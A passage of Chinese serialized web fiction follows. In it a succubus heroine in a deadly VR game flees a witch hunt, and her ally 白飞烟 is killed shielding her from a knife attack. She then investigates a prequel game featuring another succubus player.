白飞烟一挑眉说:“我们怎么不注意分寸了?这只是必要的关心。” 艾弗噎了一下, 白飞烟又说:“我们从危难之中逃难而来,不讲究那些礼节。我也可以关心你, 艾弗神父, 你还好吗?” 艾弗抿着唇,严肃地说:“我很好,有问题的是……” 之芙接话:“有问题的是我。” “出什么事了?”白飞烟的表情严肃起来, 他也把笑意收了起来, “你们也在被人追杀?” “追杀倒也算不上……”之芙说,“不过确实是个大麻烦……你知道女巫吗?” “女巫……?《审判之锤》里面那个女巫?” “是。”之芙说, “这里的人对女巫的态度很残忍。而且他们指认的应该不是真正的女巫。”她给白飞烟打了个眼色, 意思是这个副本里的灵异和魔法内容恐怕非常少。“我在修道院见过一个男人指责另一个女人是女巫……但修道院的修女们告诉我, 那个女人不过是寡居又有钱罢了。” 她顿了顿。 “现在, 圣物管理员污蔑我是女巫。而且这个消息已经传遍了镇子……你刚刚看到追着我们的那些人, 就是想抓女巫。” 之芙又指了指自己的脸:“我的脸太有辨识度了,很容易被认出来。” 白飞烟的第一反应仍然是:“那你先离开这里?” 闻言艾弗也很赞同——虽然他们所说的并不是同一个话题。艾弗是让她离开这小镇,而白飞烟是想让之芙先退出游戏。 之芙问:“那你呢?” 白飞烟知道她在问什么:现在他们已经知道了这个游戏表面安静和平下的真相, 白飞烟的游戏任务是什么?他怎么才能离开这个游戏? 白飞烟道:“别担心, 只要我能逃离伯爵家族的追杀, 就能安全了。” 之芙试探道:“那你跟我一起走?” “……这恐怕不行。”白飞烟垂眼看向自己的腿, “我不太方便。而且,你一个人离开会比跟我一起离开轻松得多。” 白飞烟看向之芙, 认真地说:“所以你还是先离开这里吧。” “这怎么行!”之芙脱口而出,“我就是为了你才——”她的话语又戛然而止,她看到了坐在自己身旁的艾弗, 他正在认认真真地听他们讲话。 她顿了顿:“艾弗神父,特蕾莎小姐恐怕不太会驾驶马车,你能出去帮她一下吗?” 很生硬的让人避嫌的手段,艾弗愣了一下,却忽然问了一句:“你是因为他才来到这里的?” 之芙:“……”艾弗说的是她刚刚没有说完的话。她的意思是,她是为了救白飞烟才来到这个游戏里,但看艾弗的样子,明显是误会了。 只是她不知怎么反驳,只能含糊着点点头。 艾弗忽然定定地看着她:“你……” 之芙被他的眼神看得有些茫然:“我?” 艾弗却又不说话了。他深深地看了之芙一眼,转身离开了车厢,却在掀起车帘的一瞬间转头过来,对之芙说:“你没必要为一个男人做到这样。” 之芙:“啊?不是你想的那样……我是,呃。”她是为了救白飞烟,这种事情在人类的世界里,应该叫做义气吧? 为什么艾弗脸上的表情那么奇怪? 艾弗又慢慢地说:“之芙小姐,我看得出来,你不适合新娘修行,也不喜欢。收敛自己的天性去做自己不喜欢的事情,只是为了一个男人,这真的值得吗?” 之芙愣了一下,又不知道该如何解释:“神父,我有我自己的理由。” “不能告诉我吗?” “……嗯。” 艾弗又问:“是钱的问题吗?” “……不是。”之芙不知道他想到了哪里。“艾弗神父,我有我的难言之隐。” 艾弗又看了她一眼,体面地没有追问。他掀开车帘,钻到外面去了。很快,外面传来了艾弗和特蕾莎交谈的声音。 之芙这才松了口气,看向白飞烟。 白飞烟正定定地看着她,脸上挂着一点点的笑意——但那笑意也很淡,只是出于礼貌性的,习惯性的。 之芙:“怎么了?” “没什么。”白飞烟平静地道,却又在之芙松了一口气的时候,突然莫名其妙地问,“你在修道院里跟他们相处很好吗?” “嗯?”之芙疑惑,“什么?” “特蕾莎也很喜欢你呢。”白飞烟微笑着说,“她来救我的时候跟我说,是你让她来救我的。” 说着,他又叹了口气,有些艰难地换了个坐姿。之芙看他的表情实在可怜,不由自主地贴过去扶了一把他,反被白飞烟握住了手。 他又说:“一路上她几乎都在讲你的事情。” 之芙问:“她说我坏话了?” 白飞烟噗嗤一声笑了来:“没有。在她的形容里,你是一个非常、非常、非常好的人。” 他一连用了三个非常,可见特蕾莎把她吹得有多天上有地上无。 之芙歪了歪头,不太确定自己什么时候开始在特蕾莎的心里变得这么好。刚认识的时候,特蕾莎还嘲讽她是土包子,而之芙也礼尚往来地骗了她。 白飞烟呼出一口气,凝视着她说:“有很多人都喜欢你。因为你是一个很好、很好的人。”说到这里,他顿了一下,“我也很喜欢你。当然,也要谢谢你救了我。如果没有你,我昨天晚上就死定了。” 之芙摆摆手。不知为何,她有些不太适应白飞烟这样直白而炽热的眼神——当她意识到他并不是游戏里的NPC,而是一个真实存在的、和她生活在同一个世界里的人时。 “……还是说说游戏的事情吧,现在没有其他人在这里了。”之芙说。 “哦,好。”白飞烟笑眯眯的,点点头,非常乖顺地顺着她的话说了下去,“听你的,先说我在伯爵家里遇到的事情吧……” 第190章 《好消息:莉莉丝降临了!》 …… 白飞烟刚到伯爵家的时候, 只觉得一切都平静安详得诡异。不像其他游戏似的一进入游戏就奔着要他的命去,在伯爵家的一切就像一个美好静谧的梦,仿佛他真的变成了那位备受宠爱的贵族少爷。 最开始的几天他没有发现任何异常——对于一个常年在恐怖游戏里穿梭的资深玩家来说这是很不寻常的, 他理应像资深阅读者那样敏锐地察觉到文绉绉每一丝不对劲的伏笔,从一个小小的暗示就能联想到这个游戏的结局。 但他敏锐的嗅觉失效了。这是一个不详的预兆, 但更令他毛骨悚然、日夜不安的是…… 他没有发现不对劲, 但伯爵家族里的所有人都让他觉得不对劲。 那是一种……很难形容的不对劲。来自于无处不在的视线和窥探,若有若无的眼神和心照不宣的注意。 白飞烟觉得自己连睡觉都在被监控。这不仅令他疲惫不适,还大大限制了他探索和寻找线索的进度, 好在有之芙在, 他们可以互相交换线索。 相比起平静得恐怖的伯爵家族,修道院明显比伯爵家族能得到的线索多得多, 如果不是之芙提前告知了他线索, 他很可能就这样在无知无觉间死在游戏里了。 他在游戏里所遇到的事情, 基本跟他在信件中跟之芙讲的差不多。他发现了伯爵态度的不对劲, 恰好在这个时候收到了之芙的信, 顺着她的要求去调查管理员和艾弗神父。 紧接着,他在管理员身上发现了线索——在此之前,他完全不认识也没有见过这个人, 当时他所有的调查思路都在艾弗神父的身上, 可想而知, 他并没有查出什么, 这个人只是游戏给他设置的一个障碍。 但如果没有之芙,以他的关系网是完全接触不到深入简出的圣物管理员的。也就是说这是一个必死的局——之芙帮他破了这个局。 他不知道之芙是怎么发现管理员的不对劲的。从特蕾莎的叙述来说, 管理员也隐藏得很深,如果不是之芙反应过来,她们都会被骗过去。 他询问了之芙这个问题, 但之芙只是含糊着糊弄了过去:“嗯……我猜到的。” 白飞烟了然地没有再追问。他对之芙道:“我看过你的直播,你在游戏里总是游刃有余……应付这个游戏你很有天赋。就像是……” “就像是什么?”之芙好奇地追问。 “……就像是这个游戏是为你量身定做的那样。” 之芙笑了一声:“那当然,我可是游戏高玩。” 她笑弯了眼睛,像一只得意洋洋的小狐狸。 白飞烟顿了顿,也跟着笑起来:“乙女游戏的高玩吗?好像跟这个游戏不太一样吧。” 之芙大手一挥:“没区别!融会贯通,一通百通,举一反三……反正我很会打游戏的啦。” “……确实。”白飞烟想了想,也由衷地赞同,“你简直是天才。” “哼哼,那当然。”——她没有一点作弊的自觉,只有得意,“也不看看我是谁。” 之芙得意之际,也把自己遇到的事情详细地跟白飞烟说了一通——当然也隐去了利用魅魔能力作弊的部分。 白飞烟沉思了一会儿,飞快地理清了思绪。其实他们现在基本已经弄明白这个游戏是怎么回事了,这是这个游戏最难的部分,稍有不慎就会踩坑。但与之相对的,只要解开了这些谜团,想离开也变得简单——或许对于腿脚残缺的白飞烟来说很难,但好在有特蕾莎在,之芙结交的这个队友在无形之中帮了他们很大的忙。 现在他们只要想办法离开这个镇子,不被找到就好了。 “芙芙,你先按照艾弗神父给的路离开这里,这样是最安全的。” 之芙问:“那你呢?” “我会慢慢想办法逃走的。”白飞烟斩钉截铁地道,“别担心,最难的关卡已经过去了,现在只是逃离这里而已,相较于我以前经历过的那些副本已经很轻松了。” 之芙默了默:“我是为了你来到这个游戏的,如果你不能安全离开,我的努力也就没有意义了。我还是跟着你……” “不,芙芙。”白飞烟朝她露出一个笑容,“相信我好吗?虽然你一直想要帮我,但这里到底是属于我的游戏世界,如果我连最后、最简单的一关都过不去的话,那也太辜负我闯过的那么多游戏了。” “可是……” 白飞烟做了一个“嘘”的姿势:“现在你被当成了女巫,我也被当成了恶魔,有人追杀你也有人追杀我,一起逃跑,难度只会成倍增加,但我们在一起,能互相帮助的地方却很少。” 之芙纠结了一下。 白飞烟笑着说:“你把我当小孩子吗?那我可是会很失望的……”他说这样的话,靠了过来。 之芙忽然意识到,他是个很高的成年男人。这样靠过来的时候,他的影子几乎能把她完全遮住。 继而她终于有了实感:白飞烟是个靠自己闯过无数副本的男人,他的编号靠前到已经没有人还能活着跟他站在一起——在其他人眼里,他或许是个根本不需要保护的“大佬”,只有在她眼里,他才是个温柔善良总是微笑的,需要保护的人。 嗯……其实这样也不奇怪吧?反正在魅魔的眼里,人类就是很脆弱的生物啊。 “好吧。”之芙说,“但你别死了。” 白飞烟愣了一下,不知道是没想到之芙这么轻易就答应了,还是没想到之芙没有避忌地说出死亡这个词,毕竟游戏里的人都很忌讳这个。 但之芙就是之芙,之芙是特殊的。 于是白飞烟又很淡定地接受了一切,笑眯眯地说:“不会死的,放心吧。” 之芙想了想:“如果你死了,那我的努力就白费了……我不会放过你的。” 白飞烟:“……”他有点想问这个不放过是什么意思。但还没有问出口,外面忽然响起了特蕾莎的声音:“我们到了。” 190-200 第191章 《好消息:莉莉丝降临了!》 …… “我们到了。”特蕾莎的声音从车外响起, 之芙掀开车帘,看到窗外是熟悉的景象——艾弗的家。 “先在这里躲一下吧。”特蕾莎说。 也对,他们也没有更好的去处了。 好在现在还是清晨, 住在附近的人几乎都去集市或去干活了,街道上干干净净, 一个人也没有。即使如此, 之芙还是拢紧了斗篷,弯着腰钻进房间。 少顷,特蕾莎把马车拉到外边拴好, 四个人终于坐在了房间里——虽然只是坐在地上, 但好歹有个清净安闲的地方可以讨论接下来的计划。 之芙先问特蕾莎:“你怎么回来了?”之芙本来只想着特蕾莎安全离开就好,要是能帮忙报警那就更好了, 却怎么也没有想到, 她会直接带着白飞烟杀回来……之芙又问, “你没有回家吗?” “……”特蕾莎叹了口气, “回家有什么用?肯定会被关起来的。” 之芙:“……”她还以为特蕾莎还会坚持侯爵夫人没有问题呢。 不过, 特蕾莎倒是想得很透彻,也不再抱有什么幻想了。既然侯爵夫人有问题,那她绝对不能回家, 她的判断跟之芙的判断一样, 侯爵夫人可能不会对她做什么, 但绝对会把知情人士——之芙和艾弗掐死在他们告发她之前。 本来之芙和白飞烟就同时被修道院和伯爵两方一起追杀了, 如果再来个侯爵夫人,绝对是地狱级别的难度。 “所以你去救了白飞烟……谢谢你。”之芙诚恳地对特蕾莎说, “如果没有你,他一个人肯定无法离开伯爵家。” 特蕾莎顿了顿,耳根浮现出一丝若有若无的红晕, 她侧过头去不看之芙:“哼,那是应该的。再说了,我也有我的私心。” “什么私心?”之芙问,又突然想起来刚来到这个世界的时候,有贵族小姐告诉她,特蕾莎喜欢白飞烟。 谁知特蕾莎顿了顿,却说:“就是我之前跟你说的那个。” “……什么?”之芙有些迷惑了,特蕾莎跟她说过的事情不少,这样打哑谜她一下难以记起。 特蕾莎的表情却变得有些难看,她又哼了一声:“你什么都不记得了,就只有我记得。” “……是那天晚上我跟你说的。就是……我说我们两个一起离开修道院的事情。”她又顿了顿,才接着说了下去,“我现在回家,就算这件事情解决了,也不过是换个修道院继续学习新娘修行,或者被关在家里等待婚礼。” “……所以昨天离开修道院的时候,我认真地想过了。我想离开家里,独自去生活……我还有一些钱,这些钱够我在乡下购置房子,安居下来了。” 之芙愣愣地看着她:特蕾莎的表情很认真,完全不像是在开玩笑。她居然真的……“我还因为你是在……呃,开玩笑,随便异想天开。” “哼,我说什么就是什么,还能有假?”特蕾莎冲她招了招手,“我可是有很多钱,到时候也会有很大的房子,还会买一群仆人。你要不要跟我走?” “……那我太想跟你去过好日子了。”之芙噗嗤一声笑了出来,把手搭在特蕾莎的手上,轻轻地拍了一下就撤走了,“可惜我也想找个没人的地方,一个人自由自在快快活活的。” 更重要的是,经过第一个游戏的之芙知道,只要通关副本,在其他人的眼里,她就会物理意义上的“失踪”。如果她后续还会来到这个副本的支线内容的话,系统会自动给她一个身份和过往,交代一下她是怎么来到这个世界的。 但再次进入同一个游戏,并且还在同一个时间线上这种事情太少见了。 之芙也无法做出保证,只能以此为借口拒绝特蕾莎。 意料之外的,特蕾莎并没有表现出沮丧或是失望的表情,她耸了耸肩:“那好吧,可惜你不能跟我一起享福了。” 之芙:“……那真是谢谢你邀请我了啊。” 看特蕾莎的样子,她是真的想明白了什么。虽然嘴上这么说,但之芙也真心为她高兴。 就这样,虽然前路渺渺,但两个女孩已经愉快地决定好等一切结束之后自己去哪里了。艾弗看起来有些欲言又止:“……我也不能回修道院了。” 他的表情还是一如既往的平静,仿佛陈述一个事实。但看起来……竟然像是求收留的淋雨小狗。 但之芙无能为力,心虚地移开了视线。而特蕾莎大大咧咧地说:“要我分你点钱不?我们好歹也是救命的交情。你也可以买一栋房子啊,一个人住多快乐啊。” 艾弗:“……” 艾弗叹了口气:“我还是去投奔我的朋友吧。去别的地方,我还能继续做神父。” 白飞烟咳嗽了一声,把话题拉回了正轨:“还是说说该怎么离开吧。” 众人正色,白飞烟把他和之芙早就商量好的决定说了出来:“我和之芙说好了,我们分开逃命,这样会更安全一点。” 艾弗和特蕾莎对视一眼,都没什么异议。那么接下来的问题就是……该怎么走。 “之芙可以跟着我之前说的那条线走。我的朋友在镇子上,他有门路可以离开这里,跟着他很安全。” “至于子爵阁下……”这时他又客客气气的了。 “我们有马车,我没什么大问题。”白飞烟接过话说,“而且我想,我只要离开这个镇子就好了。”他跟之芙交换了一个心照不宣的眼神,只要离开这里,系统就会自动把他送走,不用考虑这么多。 于是事情就这样敲定,特蕾莎爽快地表示自己可以跟白飞烟一起走——这辆马车还是她租的,有可能的话她还要把马车还回去。更何况修道院那边可不认她侯爵女儿的身份,伯爵那边却能客气些,跟着白飞烟她会安全许多。 “那我来送之芙。”艾弗也没有过多纠结,很快敲定,“事不宜迟,今天就走。越拖越是给对面时间。” 三人都赞同艾弗的决定,他们没有需要准备的事情,随时都能走,继续呆在这里没有意义。 于是之芙再次蒙上斗篷,四人分别做好简单的隐蔽走向门外,艾弗回头看了他们一眼,嘴里一边说着:“我们应该还会再见吧?”一边伸手推门—— 门锁发出咔哒一声,没推开。 之芙心里忽然浮现出了一种不好的预感。她飞奔到窗前,拉开窗帘—— 窗外,一双浑浊的,黑色的眼睛,正死死地盯着他们。 那是……来自管理员的眼睛。 第192章 《好消息:莉莉丝降临了》(完) 这还…… 之芙心里咯噔了一声。她立刻后退同时大喊:“快跑!!!” 但已经来不及了, 下一秒,大门被人猛地从外面撞开:“咚!” 几个穿着修女服的修女把他们团团围住。如果只是修女,他们尚且还有回旋的余地, 但是……管理员显然也想到了这一点,在房屋的更外面, 围着一群人高马大, 手持利器的镇民。 之芙骤然回想起他们进入房间时所看到的画面——街道上空无一人。当时他们只以为是镇民们外出,恰好不在罢了。但如果他们所做的一切都被人看在了眼里呢? ……他们还是大意了。之芙有些懊恼。 但同时她也难以理解管理员为什么这么快就能赶到这里——特蕾莎和白飞烟租了马车,从伯爵家赶到镇上也花了整整一个晚上, 她为什么这么快就能散布消息, 还能提前蹲到他们? 艾弗可是说过,没有人知道这栋房子是属于他的。 “……他们是冲着之芙来的。”白飞烟低声说。“这群人里没有伯爵的人。” 之芙稍微有些意外。 难道说……她看向窗外脸色阴沉, 对屋里众人虎视眈眈的管理员, 扬声开口:“你没有告诉伯爵?” “……”管理员沉默了一阵, 但很快, 她又坦然承认, “对。” “为什么?”之芙见她愿意交流,一边给其他人打眼色让他们想想办法,一边跟管理员说话拖时间, “你不会觉得十拿九稳, 觉得自己很轻易就能抓住我们吧?” ……虽然现在的状况好像也的确是。 “……” 谁知道管理员却久久地无言, 只是用一双浑浊的眼睛, 死死地盯着她。 之芙:“……”她不由得摸了一把脸,她脸上有什么东西吗? 她露出了疑惑的表情。但即使是这样, 管理员也没有移开视线,一直一直盯着她,那灼热的视线仿佛要在她的脸上烧出一个洞来。 之芙又摸了摸自己的脸:“……你为什么这么看着我?我们……认识吗?” 管理员的表情实在太奇怪了。可是之芙确认自己之前从没有见过管理员, 她们第一次见面应该是在修道院里——甚至在修道院里,她们都不算熟悉,话都没有说过几句,最多就是管理员好几次骗她想把她引诱到地下室杀死她。 这样说的话,该狠狠瞪着对方的人,应该是她才对吧? “我不记得我认识你。”她试探着说,糟糕,管理员不会知道了她梦里的那个人是她吧?不应该啊,之芙对自己的伪装很有自信。 “……”管理员笑了一声,但那笑声中却没什么笑意,反而满是讥讽。她对之芙的问题避而不答,反而回答了之芙一开始的问题,“你猜对了,我没有告诉伯爵大人这件事。” “……为什么?你怕他?还是你们之间的合作没有我想的那么紧密?” “你什么都猜到了,为什么还要来问我?”管理员幽幽地道。 “其实我也只是猜的。”之芙诚恳地说,“而且我觉得,事实好像不是我猜的那样。你……的情绪很不对劲。” 作为魅魔,之芙一只能感知到周围的情绪。在管理员身上,她也敏锐地察觉到了一丝丝的不对劲——对方的情绪还是愤怒的、不甘的,但在那些愤怒的情绪之下,还隐藏着一丝丝的酸和涩,像是……怨恨?嫉妒? 但之芙实在想不明白对方为什么要怨恨和嫉妒自己。 “不对劲?”管理员冷笑了一声。她抬手示意进入屋内把他们团团围住的修女们出去,“你觉得是怎么不对劲?” 她明显是想要跟之芙谈谈,并且不想让其他人听到她们之间的对话。但恰好也为他们创造了逃离的条件。 之芙后退了一步,默默地拉住了身后的白飞烟——如果真要看时机逃出这里,之芙要立刻扛起白飞烟往外跑。毕竟白飞烟腿脚不便,而其他两个人……之芙不觉得他们比她力气大。 管理员自然也没有错过她的动作,她冷笑一声。 之芙顿了顿,顺着刚刚话,说了下去:“我不知道。但我觉得很奇怪……你似乎,有点……嫉妒我?怨恨我?我不知道那些情绪是怎么来的。” 管理员再次冷笑。但就在之芙以为她要反驳自己的时候,她却点了点头:“你说得没错。” “……”这次轮到之芙有些呆了。 “我没有向伯爵通报。”管理员再次重复,像是强调。 “为什么?你……”之芙皱着眉,她想到了白飞烟曾经调查到的那些事情。心头浮现出一个大胆的猜测。“……你其实并不喜欢向恶魔献祭?” 白飞烟提到过,管理员复活“妹妹”之后没几天就离开了对方独自进入修道院成为了修女,而她在修道院里也曾好几次拒绝“妹妹”的探望,后来她的“妹妹”嫁人后举家搬走,她却表现得像是从来没有过这个妹妹一样。 伯爵提出要献祭的时候,她也劝过伯爵。 她看起来不像是喜欢这个献祭的样子。 “是因为……复生的人并不是原来的那个人吗?”之芙问。 管理员又笑了一声,但从那声音里却听不出任何情绪。她忽然扒上窗台,飞快地翻了进来,修女服黑色的衣摆在她身后翻动。 “对。”她爽快地承认了。“死而复生的人并不是原来的人,复活死去的人,只不过是再杀死她一次。” 之芙一时无言。这时,她身后的白飞烟忽然不轻不重地捏了一下她的手指。之芙会意地朝一侧看去,特蕾莎和艾弗正在给她打眼色——现在外面的修女包围得并不紧,管理员又翻进了屋子里。 如果她能挟持住管理员的话,她们就能离开这里了。 “那你为什么要追我们?”之芙一边转移话题,一边不着痕迹地朝管理员靠近,“我们可以向上帝发誓,不会透露修道院里的情况。你没必要杀我们,你自己也不喜欢献祭不是吗?” 管理员却说:“因为我恨你。” “……什么?” “因为我恨你!”刹那间她尖叫起来,冲着之芙飞扑过来,大喊道,“来吧,来吧!” 之芙完全没有想到她会这么反应激烈——此刻她和管理员很近,在所有人都没有反应过来的时候,她就猛地被管理员扑倒在地! 下一秒天旋地转,之芙只感觉到后背一疼,随即是一声沉闷的“咚!” 过了好几秒,她才反应过来自己被管理员扑到了地上。而对方正在伸手掐她的脖子。 刹那间之芙心头的怒火就被激起了,属于兽类的厮杀本能比属于人类的理智先一步响应了她的本能,下一秒她猛地发力掀翻管理员,坐在她腰上反手掐住她的脖子: “你……” 她从管理员的眼睛里看到了强烈的怨恨,和一种破釜沉舟的绝望感。 福至心灵地,之芙突然明白她为什么不通知伯爵了。 原来她一直在怨恨自己……恨自己为什么又把已经死去的妹妹杀了一次。她大概在想,如果能抓到之芙他们,把他们灭口最好。但如果抓不到他们,她就带着自己的怨恨和愧疚进坟墓。 就像是……之芙曾经摸去她的房间看到的那个空旷的、仿佛随时准备离开的房间。 “咳咳……”之芙咳嗽着,用了点力气推开管理员,她喘着粗气,“你没必要……杀我……” “……去死!”被推开的管理员不知道哪里来的力气,又猛地扑了上来,混乱中之芙听到了身后特蕾莎的尖叫:“啊——!!!” 下一秒,一道白光从她的胸前闪过,之芙后知后觉地意识到那是什么:是刀! 但就在刀尖即将刺穿她胸口之前,身侧忽然又传来一股力把她推向一边,紧接着是一种重响:“咚!!!” 之芙猛地坐倒在地,眼前,白飞烟也摔在地上,他从自己的胸前抽出那把插在上面的刀,冷静而毫不犹豫地刺入管理员的胸膛。 “噗嗤。”本该是细微的响动,在此刻寂静的屋内却显得无比清晰。 管理员的身体挣扎了一下,随即倒了下去,重重地摔在地上。 而紧接着,白飞烟像是突然失去了力气一般,也跟着倒在了一旁。 血从他的胸前漫出来,淌了一地。 这一切都发生得太快、太令人猝不及防,之芙的脑袋“嗡”了一声:“白、白飞烟!” 白飞烟还有力气仰着头,看向她。 他脸上的血色就在这短短的几秒里消失了,苍白得好像一张白纸,在之芙扑过来替他捂住胸口的血洞的时候,他费力地眨了眨眼。 “艾弗!艾弗!特蕾莎!”之芙焦急又慌张地回头,“快叫医生!” 大门被猛地撞开,艾弗连滚带爬地去找医生,特蕾莎也脚一软扑过来,手足无措地:“白飞烟?!怎么会……怎么办……” “……”白飞烟的呼吸声变得很粗重,甚至还有些气音,像个破了洞的风箱。他一只手搭在之芙捂在他胸前的手上,另一只手轻轻地盖在之芙的眼睛上。 “……好了,放心,我没事。”他平静地说。 “这怎么可能没事!”之芙想拉开他的手,但白飞烟紧紧地按住了她的手,她挣扎了一下没扯开,又怕白飞烟失血更快。“这可是我第一次……第一次帮人!你现在这个样子……你让我怎么放心?!” 这还是之芙第一次……亲眼见证死亡。 白飞烟短促地笑了一下:“没关系的,反正我本来就残疾,像这样的话,不是死在这个游戏里,也会死在下一个游戏里。你能帮我一次,帮得了我一辈子吗?作为03号,我已经活太久了。虽然我还不知足,但是……” “不试试怎么知道!”眼前一片漆黑,之芙只感觉到滚烫的鲜血正不断地从她的指缝里喷涌而出,她的鼻腔甚至口腔里都全是血腥味。 “离开这里吧,之芙。”白飞烟温和地说,但他的声音却变得虚弱,甚至混杂在鲜血喷涌而出的声音里,渐渐听不清楚了,“退出游戏。” “我退出游戏了你怎么办?!” “……”急促的呼吸声也渐渐消失了。他的手滑落在地,眼睛大睁着,只是已经失去了神采,却仍旧微笑着。 第193章 间章 另一个魅魔玩家 “……” “呼——”之芙猛地睁开了眼睛。她急促地喘气, 一时还没有从游戏中回过神来。“呼……呼……” 她的眼睛好一会儿才聚焦,发现自己头顶的游戏仓休眠罩还没有打开。这有些不合常理,她已经退出游戏, 醒过来了。是系统的自动监测失效了? 之芙擦了一把头上的汗,屈着身, 敲了敲不透明的游戏舱盖。但她又等了好一会儿, 直到激烈的喘息都平复下来,游戏仓也始终没有打开。 系统有没有出问题现在并不重要,之芙更想去看躺在隔壁游戏仓里的白飞烟。她再也等不了了, 伸出手一拳砸在游戏仓上。 “咚!”游戏仓整个颤抖起来, 但还没之芙挥出下一拳,外面传来细微的机器启动的嗡嗡声, 紧接着游戏仓的外盖升起—— 之芙看清了游戏仓外的景象。无数穿着白衣的工作人员在飞快地进出, 随着游戏仓外盖的打开, 嘈杂的声音也跟着传了过来。 “快——” “抢救!医生呢?!医生快来!” 喧嚣而嘈杂的尖叫声和脚步声里, 之芙和司苍对视着。 下一秒, 之芙被司苍拉出了游戏仓。来不及说别的,之芙焦急地问:“白飞烟呢?” “……”司苍后退了半步,没有说什么, 只是让开了一个视线。之芙从他的身侧看到几个医生把白飞烟从游戏仓里抬出来, 飞快地移上转移车。 “让开让开让开!” “手术室!把手术室准备好!快去通知罗医生, 03号胸处开放性伤口, 大量出血,准备紧急抢救!” 之芙正从游戏仓里爬出来, 闻言踉跄了一下,司苍扶了一把才站稳。 “你刚从游戏里出来,你感觉怎么样?” “……我还好。”之芙喘着气回答, 又立刻问,“白飞烟怎么样了?” 司苍的脸上有止不住的悲伤,但他的语气却很平稳,像是已经经历过许多这样的事情,所以已经无比熟悉:“会有医生抢救他的。别的……我们帮不上什么忙。” “他会没事的对吧?”之芙抓住司苍的手追问。 “……”司苍沉默了一会儿。就在那样的沉默里,之芙意识到了什么。 他顿了顿,还是看着之芙的眼睛,用尽量平和而客观的语气道:“在游戏里受伤的事情并不少见,我们有一套完整的抢救流程,但是……之芙,如果在游戏里死去后还能抢救回来的话,这个游戏的死亡率不会那么高。” 他说得已经很委婉了,但仍像一记重锤一般敲在之芙的脑袋上。 之芙突然发现,虽然已经有无数人跟她讲述了这个游戏的残酷,但自己其实并没有准备好接受这个游戏的残酷之处。他们严苛地训练她,无数次地告诉她,有多少人死在游戏里,又有多少人因为游戏而崩溃,他们说得次数太多,之芙甚至对死者名单都已经倒背如流。 但她还是没有准备好。在她的潜意识里,这个游戏仍然是宽厚的,有趣的,甚至类似于一个刺激的恐怖游戏。 “……要去看看吗?”司苍轻声问,“急救室里这里不远。” 之芙看了他一眼:“不用了。” 她站起身,稳住了身形,披上外套。 “哥,我今晚回家睡。” 司苍愣了一下,反应过来后没有反驳更没有询问,只是低声说:“好。” 之芙冲他一点头,转身离开了医院。 把身后司苍劝慰其他人的那句“让她一个人呆呆吧。”甩在了身后。 …… 之芙回家的时候,司妈妈正在客厅逗猫玩,见之芙开门进来,有些惊喜地看向她:“芙芙?你回来啦?跟朋友玩得开心吗?” ——为了不让司妈妈担心,她和司苍不约而同地隐瞒了游戏的事情,对外只说她去朋友家住几天,好让他们放心。 之芙对司妈妈笑了一下:“我玩得很开心,就是有点累了。妈妈,我先回房间休息了,不用叫我吃饭。” 司妈妈笑着点点头,没有意识到不对劲。 之芙上了楼,把门反锁好,先给自己设了一个闹钟,休息了一会儿。醒来时她发现闹钟还没有响,于是关掉闹钟,打开游戏仓,自己连接好设备后躺了进去。 大概花了一个小时,她才从浩如烟海的游戏名单里找到了自己想要的东西:《莉莉丝降临:前传》。这应该是她曾经玩过的游戏DLC内容,按照这个游戏的规则来看,似乎是她玩过的游戏更靠前的时间线。 但之芙也不能肯定,她推测这个游戏应该有靠前的时间线是因为,管理员的妹妹大概率也是玩家。 也就是说,这部游戏应该还有一个前传,是讲管理员妹妹的故事。但系统并没有告知她关于那个游戏玩家的故事——也就是说,疗养院里没有她的档案也没有记录过她的故事,那个玩家并不是疗养院里的玩家,或许她是疗养院计划之前的老玩家。 这一次,之芙没有链接系统,自己穿戴好设备,就点击选择进入了游戏。 …… 凌晨四点,之芙猛地推开游戏仓的门,从游戏仓里爬出来,她踉跄了一下,扶着游戏仓大口喘着气。 等等……不对,不对,不对。 之芙用力地按着自己的太阳穴,脑海中不断地,不断地重复播放刚刚自己在游戏里所看到的画面。 ……很奇怪的,那个穿越进去的游戏玩家,似乎不是人类。 是错觉吗?她从她的身上闻到了同类的气息。 那个“玩家”似乎也是个魅魔……而且最重要的是…… 之芙觉得她很眼熟,似乎在哪里见过。 之芙喘匀了这一口气,给自己倒了杯水。冰冷的液体划过喉咙,让她的大脑也清醒了几分。她坐在游戏仓旁边的地毯上,闭着眼翻找自己的记忆。 在哪里见过那张脸呢……好像是…… 之芙想起来了。她好像在魅魔学院见过那张脸。 那个未被收录在疗养院计划里的游戏玩家,居然也是魅魔!? 第194章 间章 看起来人还在驾驶座上,但魂已经…… 之芙往挎包里装了一件衣服和一本书, 套上外套,对着镜子看了看自己现在的样子。 她穿着一身黑长袍,斗篷盖住半张脸, 只露出雪白而柔美的下颚, 长袍垂到脚面, 遮住了身形。之芙从自己带来的包里找出一个火红色的花朵吊坠, 挂在胸前。 她挎着包,拉好斗篷,走出门后又想起什么, 返回房间里把车钥匙找出来。 嗯……人类的赶路方式可比魅魔的赶路方式快多了。 凌晨五点, 正是破晓前最黑暗的时刻,整栋别墅空无一人, 黑暗中, 似乎有什么奇妙的氛围在空气中浮动。 她似乎没有注意到, 在她的房门被推开后, 她的对门——司苍的门也被打开了。 之芙没开灯, 但魅魔的视力非常好,在黑暗中她也能看到眼前空旷的厅房。她一言不发地穿过阶梯,通过电梯到达地下停车层。 “叮咚——”电梯门缓缓打开, 苍白的光照亮了面前的一小块地方。 之芙找到自己的车, 解锁, 开车到车库外, 又忽然停车。 “出来吧。”她打开车窗,敲了敲方向盘, 汽车“滴”了一声,“别藏了,司苍。” “……”几分钟后, 身后的车库里走出两个身影,正是司苍和方寄南。凌晨五点他们却没穿睡衣,西裤衬衫一副准备出门或刚刚到家的样子。 隔着车窗,之芙与他们对视着,司苍率先开口:“你要去哪里?现在很晚了。” 之芙笑了一下,不答反问:“你们什么时候回来的?为什么要跟着我?” “不久前。”方寄南在司苍身后出声,“我们刚从疗养院回来,是想告诉你……抢救失败了。” 之芙早有预料:“那个混蛋,把我的努力全毁了,我不会放过他的。”她又看向黑暗中的两人,久久地打量着他们,半晌一抬头,用下巴示意他们:“不是好奇我要去哪里吗?上车。” 司苍犹豫了一下,似乎意识到了什么。方寄南却什么也不知道,从善如流地——抢在司苍之前打开副驾驶的门,长腿一迈就坐了进去。 司苍看了看满脸好奇甚至还有些跃跃欲试的无知好友,叹了口气,转到另一头去打开驾驶室的门:“你今晚有好好休息吗?我来开车吧。” “你知道去哪里吗?”有便宜司机正好,之芙一边解开安全带一边问。 “嗯。”司苍这会儿倒是不犹豫了,跟之芙换了位置之后系上安全带,从后视镜里打量之芙的表情,“我遇到你的那座荒山?” 